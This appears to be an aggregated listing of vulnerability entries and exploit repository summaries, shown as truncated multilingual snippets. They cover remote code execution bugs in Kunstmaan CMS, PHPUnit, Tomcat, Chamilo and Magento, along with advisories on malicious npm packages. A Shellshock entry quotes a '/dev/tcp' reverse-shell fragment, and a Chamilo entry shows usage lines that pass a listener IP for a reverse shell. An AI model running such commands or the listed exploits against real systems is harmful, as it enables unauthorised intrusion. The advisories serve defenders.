CVE-2026-104890 Kunstmaan CMS: MediaBundle extension blacklist bypass allows authenticated administrators to upload executable PHP files leading to remote code execution

Kunstmaan CMS is an open source content management system based on the Symfony framework. Prior to 7.3.2, src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php performs the blacklistedextensions check case-sensitively in FileHandler::getFilePath and lowercases the stored extension afterward. An...

CVE-2026-104890

Kunstmaan CMS , a Symfony-based content management system, contains a blacklist bypass vulnerability in the MediaBundle extension (specifically in src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php). Prior to version 7.3.2 , the FileHandler::getFilePath function performs a case-sensitive check...

CVE-2026-104890

Kunstmaan CMS is an open source content management system based on the Symfony framework. Prior to 7.3.2, src/Kunstmaan/MediaBundle/Helper/File/FileHandler.php performs the blacklistedextensions check case-sensitively in FileHandler::getFilePath and lowercases the stored extension afterward. An...

CVE-2017-9841

phpunit-shell ⭐ Ein einfaches python3-Skript zum Ausnutzen von CVE-2017-9841. der Exploit - CVE-2017-9841 ❗ Einfaches Skript, das eine Schwachstelle zur Remote-Codeausführung ausnutzt, die in PHPUnit vor 4.8.28 und 5.x vor 5.6.3 gefunden wurde. Sendet eine POST-Anfrage an das Ziel mit vom Benutze...

CVE-2014-6271

Hellshocker 0.1.1 Strumento per sfruttare la vulnerabilità Shellshock Sei stanco di usare exploit Shellshock deboli o di entrare nel server con "/bin/bash & /dev/tcp/IP/porta 0&1"? Sì, devi caricare ed eseguire qualcosa di più complesso sul server, e la codifica in base64 di un file enorme è...

CVE-2018-6574

CVE-2018-6574 Remote-Codeausführung im Golang-Befehl go get. CVE-2018-6574 betrifft den Golang-Befehl go get und ermöglicht einem Angreifer, durch die Installation einer bösartigen Bibliothek Code auf einem System auszuführen. Diese Schwachstelle wurde in Go 1.8.7, 1.9.4 und 1.10rc2 behoben. Gola...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 Automatisierte Ausnutzung und Erkennung Dieses Python-Programm ist ein Wrapper für die RCE SMBGhost-Schwachstelle. Alle Credits für den funktionierenden Exploit gehen an chompie1337. Alle Credits für den Scanner gehen an ioncodes. Ich habe diese Funktionen lediglich in eine...

CVE-2017-17485

CVE-2017-17485 CVE-2017-17485:Jackson-databind RCE...

CVE-2025-55182-POC

CVE-2025-55182-POC React2Shell POC Utilizzo: sudo python3 hehe.py -t -c Esempio: ❯ sudo python3 hehe-t 12.05.12.05 -c "id" . .. . | \ | | / \ / || || | | | / || | | | | || | | | | | | | | / ^ \ | ,----'---| |----| | | | | ----| || | | | | | | | | / | | / /\ \ | | | | | | | | \ \ | | | | | | | | |...

ruby-RCE-CVE-2019-5420-

ruby desserialização （CVE-2019-5420） https://github.com/PenTestical/CVE-2019-5420 Referência: 1 Ruby on Rails 命令执行漏洞payload实现过程 https://hackerone.com/reports/473888 Como ActiveSupport::MessageVerifier e ActiveSupport::MessageEncryptor usam Marshal como serializador padrão, confirmei que RCE é...

CVE-2026-38751

CVE-2026-38751 — OpenSTAManager Module Upload RCE Esecuzione di codice in remoto RCE autenticata tramite caricamento ZIP non convalidato nell'endpoint di aggiornamento dei moduli. Affetto: OpenSTAManager = 2.10.x Requisiti pip install requests Utilizzo Reverse shell Penelope o qualsiasi listener...

CVE-2025-0282-Full-version

Storks: Strumento di Sfruttamento della Vulnerabilità di Esecuzione Remota di Codice Panoramica Storks è uno strumento Proof-of-Concept PoC basato su Python progettato per dimostrare una vulnerabilità critica di Esecuzione Remota di Codice RCE, identificata come CVE-2025-0282 , in un apparato di...

CVE-2025-24813-POC

CVE-2025-24813 Apache Tomcat RCE PoC PoC para CVE-2025-24813, uma vulnerabilidade de Execução Remota de Código RCE no Apache Tomcat. Importante: Este PoC destina-se exclusivamente a testes em seus próprios ambientes ou para fins educacionais. Qualquer uso deste PoC para explorar sistemas sem a...

CVE-2023-4220

CVE-2023-4220 Exploit Chamilo LMS Nicht authentifizierte Remote-Codeausführung über große Upload-Dateien Verwendung cve-2023-4220.sh ./cve-2023-4220.sh ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 ./cve-2023-4220.sh -h Usage for RevShell: ./cve-2023-4220.sh Example: ./cve-2023-4220.sh...

PoC-Funcional---CVE-2026-45247-Mirasvit-Full-Page-Cache-Warmer-RCE-

CVE-2026-45247 - Mirasvit Full Page Cache Warmer per Magento 2 - Iniezione di Oggetti PHP → RCE -red 📋 Descrizione CVE-2026-45247 è una vulnerabilità critica di Iniezione di Oggetti PHP PHP Object Injection nell'estensione Mirasvit Full Page Cache Warmer per Magento 2 e Adobe Commerce. Un...

go-get-RCE

go-get-RCE Dies ist der Exploit für CVE-2018-6574: go get RCE Diese Schwachstelle betrifft den Befehl go get von Golang und ermöglicht es einem Angreifer, Codeausführung auf einem System zu erlangen, das seine bösartige Bibliothek installiert. Dies ist ein gutes Beispiel für eine Schwachstelle, d...

MAL-2026-17622 Malicious code in dzyhaxz-baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 08fd08c1026dee023b11946f939f5fb1c5763566c9577ccb99c2aa7a3c0c2684 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-17623 Malicious code in dzyhaxz-libsignal (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 9c8e7ca99c316f4b011bacc98bd321fb6e0afab999695d94c2cf41b1bff48b17 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-17621 Malicious code in dzyclutch-libsignal-node (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 63716521c367b7aea5217499683a4fced3139831cc949b92387538692a679287 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-17413 Malicious code in yonzoffic-baileys (npm)

This package is part of a large family 100+ identified as of September 2026 of near-identical forks of the Baileys WhatsApp Web library that inject a covert channel-subscription action into the WhatsApp socket layer. On connect, the injected code issues an authenticated w:mex FOLLOW query queryid...